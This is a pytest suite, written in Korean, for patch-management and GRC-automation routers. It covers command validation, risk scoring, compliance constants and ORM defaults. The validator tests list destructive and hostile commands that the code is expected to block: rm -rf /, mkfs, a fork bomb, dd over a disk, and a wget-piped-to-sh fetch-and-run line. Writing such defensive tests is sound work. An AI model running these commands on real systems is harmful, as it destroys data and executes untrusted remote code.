"""
단위 테스트 — patch_management / grc_automation 라우터

커버리지:
- 위험 명령어 패턴 차단
- 리스크 점수 계산 및 레벨 결정
- PatchPlan ORM 모델 기본 필드
- GRCPolicy ORM 모델 기본 필드
- RiskItem ORM 모델 기본 필드
- 감사 보고서 권고 사항 생성
- 컴플라이언스 프레임워크 상수 확인
"""
import sys
import os
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))

import pytest


# ── patch_management 유틸리티 테스트 ─────────────────────────────────────────

class TestDangerousPatternValidation:
    """위험 명령어 차단 — 보안 불변 규칙 검증."""

    def _validate(self, cmd: str) -> None:
        from routers.patch_management import _validate_cmd
        _validate_cmd(cmd)

    def test_safe_apt_command_passes(self):
        # 정상 패치 명령어는 통과
        self._validate("apt-get update && apt-get upgrade -y")

    def test_safe_yum_command_passes(self):
        self._validate("yum update -y")

    def test_safe_systemctl_passes(self):
        self._validate("systemctl restart nginx")

    def test_rm_rf_root_blocked(self):
        from fastapi import HTTPException
        with pytest.raises(HTTPException) as exc_info:
            self._validate("rm -rf /")
        assert exc_info.value.status_code == 400

    def test_mkfs_blocked(self):
        from fastapi import HTTPException
        with pytest.raises(HTTPException):
            self._validate("mkfs.ext4 /dev/sda1")

    def test_fork_bomb_blocked(self):
        from fastapi import HTTPException
        with pytest.raises(HTTPException):
            self._validate(":(){ :|:& };:")

    def test_shutdown_blocked(self):
        from fastapi import HTTPException
        with pytest.raises(HTTPException):
            self._validate("shutdown -h now")

    def test_wget_pipe_sh_blocked(self):
        from fastapi import HTTPException
        with pytest.raises(HTTPException):
            self._validate("wget http://example.com/malware.sh | sh")

    def test_dd_if_blocked(self):
        from fastapi import HTTPException
        with pytest.raises(HTTPException):
            self._validate("dd if=/dev/zero of=/dev/sda")


class TestSeverityEstimation:
    """CVE ID 기반 심각도 추정."""

    def _estimate(self, cve_id: str) -> str:
        from routers.patch_management import _estimate_severity
        return _estimate_severity(cve_id)

    def test_critical_keyword(self):
        assert self._estimate("CVE-2024-CRITICAL-0001") == "CRITICAL"

    def test_high_keyword(self):
        assert self._estimate("CVE-2024-HIGH-1234") == "HIGH"

    def test_low_keyword(self):
        assert self._estimate("CVE-2024-LOW-5678") == "LOW"

    def test_default_medium(self):
        assert self._estimate("CVE-2024-12345") == "MEDIUM"

    def test_auto_scan_is_medium(self):
        assert self._estimate("CVE-SCAN-AUTO") == "MEDIUM"


# ── grc_automation 유틸리티 테스트 ────────────────────────────────────────────

class TestRiskLevelCalculation:
    """리스크 점수 → 레벨 결정 (5×5 매트릭스)."""

    def _level(self, score: float) -> str:
        from routers.grc_automation import _calc_risk_level
        return _calc_risk_level(score)

    def test_critical_boundary(self):
        assert self._level(20.0) == "CRITICAL"
        assert self._level(25.0) == "CRITICAL"   # 5*5

    def test_high_boundary(self):
        assert self._level(12.0) == "HIGH"
        assert self._level(19.9) == "HIGH"

    def test_medium_boundary(self):
        assert self._level(6.0) == "MEDIUM"
        assert self._level(11.9) == "MEDIUM"

    def test_low_boundary(self):
        assert self._level(1.0) == "LOW"
        assert self._level(5.9) == "LOW"

    def test_likelihood_impact_product(self):
        # 5×4 = 20 → CRITICAL
        assert self._level(5 * 4) == "CRITICAL"
        # 3×3 = 9 → MEDIUM
        assert self._level(3 * 3) == "MEDIUM"
        # 2×2 = 4 → LOW
        assert self._level(2 * 2) == "LOW"


class TestComplianceFrameworks:
    """컴플라이언스 프레임워크 상수 검증."""

    def test_all_frameworks_present(self):
        from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
        for fw in ["CSAP", "ISMS", "ISO27001", "GDPR"]:
            assert fw in _COMPLIANCE_FRAMEWORKS

    def test_framework_has_required_keys(self):
        from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
        for key, val in _COMPLIANCE_FRAMEWORKS.items():
            assert "name" in val, f"{key} 프레임워크에 'name' 키가 없습니다."
            assert "controls" in val, f"{key} 프레임워크에 'controls' 키가 없습니다."
            assert isinstance(val["controls"], int)
            assert val["controls"] > 0

    def test_csap_control_count(self):
        from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
        assert _COMPLIANCE_FRAMEWORKS["CSAP"]["controls"] == 117

    def test_isms_control_count(self):
        from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
        assert _COMPLIANCE_FRAMEWORKS["ISMS"]["controls"] == 102


class TestBuildRecommendations:
    """감사 권고 사항 자동 생성."""

    def _recs(self, critical, high, rate):
        from routers.grc_automation import _build_recommendations

        class _FakeRisk:
            pass

        c_risks = [_FakeRisk() for _ in range(critical)]
        h_risks = [_FakeRisk() for _ in range(high)]
        return _build_recommendations(c_risks, h_risks, rate)

    def test_critical_risks_mentioned(self):
        recs = self._recs(critical=3, high=0, rate=90.0)
        assert any("CRITICAL" in r for r in recs)
        assert any("3" in r for r in recs)

    def test_high_risks_mentioned(self):
        recs = self._recs(critical=0, high=5, rate=90.0)
        assert any("HIGH" in r for r in recs)

    def test_low_compliance_warning(self):
        recs = self._recs(critical=0, high=0, rate=50.0)
        assert any("60%" in r for r in recs)

    def test_medium_compliance_warning(self):
        recs = self._recs(critical=0, high=0, rate=70.0)
        assert any("80%" in r for r in recs)

    def test_good_compliance_positive(self):
        recs = self._recs(critical=0, high=0, rate=95.0)
        assert any("양호" in r for r in recs)

    def test_always_includes_audit_reminder(self):
        recs = self._recs(critical=0, high=0, rate=100.0)
        assert any("감사" in r for r in recs)

    def test_no_risks_still_returns_recs(self):
        recs = self._recs(critical=0, high=0, rate=100.0)
        assert len(recs) >= 1


# ── ORM 모델 기본 필드 테스트 ─────────────────────────────────────────────────

class TestPatchPlanModel:
    """PatchPlan ORM 모델이 models.py에 올바르게 정의되었는지 확인."""

    def test_model_exists(self):
        from models import PatchPlan
        assert PatchPlan.__tablename__ == "tb_patch_plan"

    def test_required_columns_exist(self):
        from models import PatchPlan
        cols = {c.key for c in PatchPlan.__table__.columns}
        for required in ["id", "cve_id", "severity", "affected_servers",
                         "patch_cmd", "rollback_cmd", "status",
                         "approved_by", "executed_at", "created_at"]:
            assert required in cols, f"PatchPlan에 '{required}' 컬럼이 없습니다."

    def test_default_status_is_pending(self):
        from models import PatchPlan
        col = PatchPlan.__table__.columns["status"]
        assert col.default.arg == "pending"

    def test_default_severity_is_medium(self):
        from models import PatchPlan
        col = PatchPlan.__table__.columns["severity"]
        assert col.default.arg == "MEDIUM"


class TestGRCPolicyModel:
    """GRCPolicy ORM 모델 검증."""

    def test_model_exists(self):
        from models import GRCPolicy
        assert GRCPolicy.__tablename__ == "tb_grc_policy"

    def test_required_columns_exist(self):
        from models import GRCPolicy
        cols = {c.key for c in GRCPolicy.__table__.columns}
        for required in ["id", "title", "category", "content",
                         "version", "status", "effective_date", "created_at"]:
            assert required in cols, f"GRCPolicy에 '{required}' 컬럼이 없습니다."

    def test_default_status_is_draft(self):
        from models import GRCPolicy
        col = GRCPolicy.__table__.columns["status"]
        assert col.default.arg == "draft"

    def test_default_category_is_security(self):
        from models import GRCPolicy
        col = GRCPolicy.__table__.columns["category"]
        assert col.default.arg == "security"


class TestRiskItemModel:
    """RiskItem ORM 모델 검증."""

    def test_model_exists(self):
        from models import RiskItem
        assert RiskItem.__tablename__ == "tb_risk_item"

    def test_required_columns_exist(self):
        from models import RiskItem
        cols = {c.key for c in RiskItem.__table__.columns}
        for required in ["id", "title", "likelihood", "impact",
                         "risk_score", "risk_level", "mitigation",
                         "status", "created_at"]:
            assert required in cols, f"RiskItem에 '{required}' 컬럼이 없습니다."

    def test_default_likelihood_is_3(self):
        from models import RiskItem
        col = RiskItem.__table__.columns["likelihood"]
        assert col.default.arg == 3

    def test_default_impact_is_3(self):
        from models import RiskItem
        col = RiskItem.__table__.columns["impact"]
        assert col.default.arg == 3

    def test_default_risk_score_is_9(self):
        from models import RiskItem
        col = RiskItem.__table__.columns["risk_score"]
        assert col.default.arg == 9.0

    def test_default_status_is_open(self):
        from models import RiskItem
        col = RiskItem.__table__.columns["status"]
        assert col.default.arg == "open"
